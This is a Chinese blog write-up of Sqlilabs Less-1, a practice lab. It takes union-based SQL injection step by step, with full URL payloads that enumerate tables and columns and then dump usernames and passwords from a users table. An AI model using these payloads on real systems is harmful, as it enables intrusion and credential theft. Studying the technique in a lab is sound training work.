Sqlilabs-1

这是 Sqlilabs 注入练习的第一节:D
http://sqlilabs/Less-1/
aa5c019adb746383ae0da2018f1f989.png

提示我们构造 ID
http://sqlilabs/Less-1/?id=1

构造之后得到:

2dd83293b5c8c9b23ec614933146dc4.png

尝试往 id 后边输入 ’ ,表明可能存在 SQL 注入
http://sqlilabs/Less-1/?id=1'
1.png

可用 #(%27) 或者 --+ 省略后面字符,再次回显正常结果:
2dd83293b5c8c9b23ec614933146dc4.png

此处可以利用 order by,对前面的数据进行排序,观察临界值,临界值就是我们最多能够掌控的。
3 列时回显仍然正常,4 开始报错
http://sqlilabs/Less-1/?id=1' order by 3--+
http://sqlilabs/Less-1/?id=1' order by 4--+
be5ebb340e15362b34f0e194aee0bdb.png

由于可操控前三列,那就在这三列做文章,可结合 union 联合注入,union all 和 union 的区别就是 union all 增加了去重功能。在使用 union 时,当前一个语句为空时就会将后面的内容显示出来,可因此构造注入,注意将 1 改成了 -1
http://sqlilabs/Less-1/?id=-1' union select 1,2,3--+
1593076611(1).png

接下来就可以爆数据库表:
http://sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
28bc1e2dc00669997bb435f4938957b.png

爆数据库列:
http://sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+
b4050f7d2d04245fbc7da7cfbb97a32.png

爆数据:
http://sqlilabs/Less-1/?id=-1' union select 1,2,(select group_concat(username,0x3a,password) from users) users--+
3fddf0d142bcb07304b4e5458722d94.png

查看源码,可以知道源 SQL 语句为:
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = sql="SELECT * FROM users WHERE id= sql="SELECTFROMusersWHEREid=‘id’ LIMIT 0,1"
并没有对 id 进行任何过滤,所以一个单引号就引发了数据泄露

:D

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值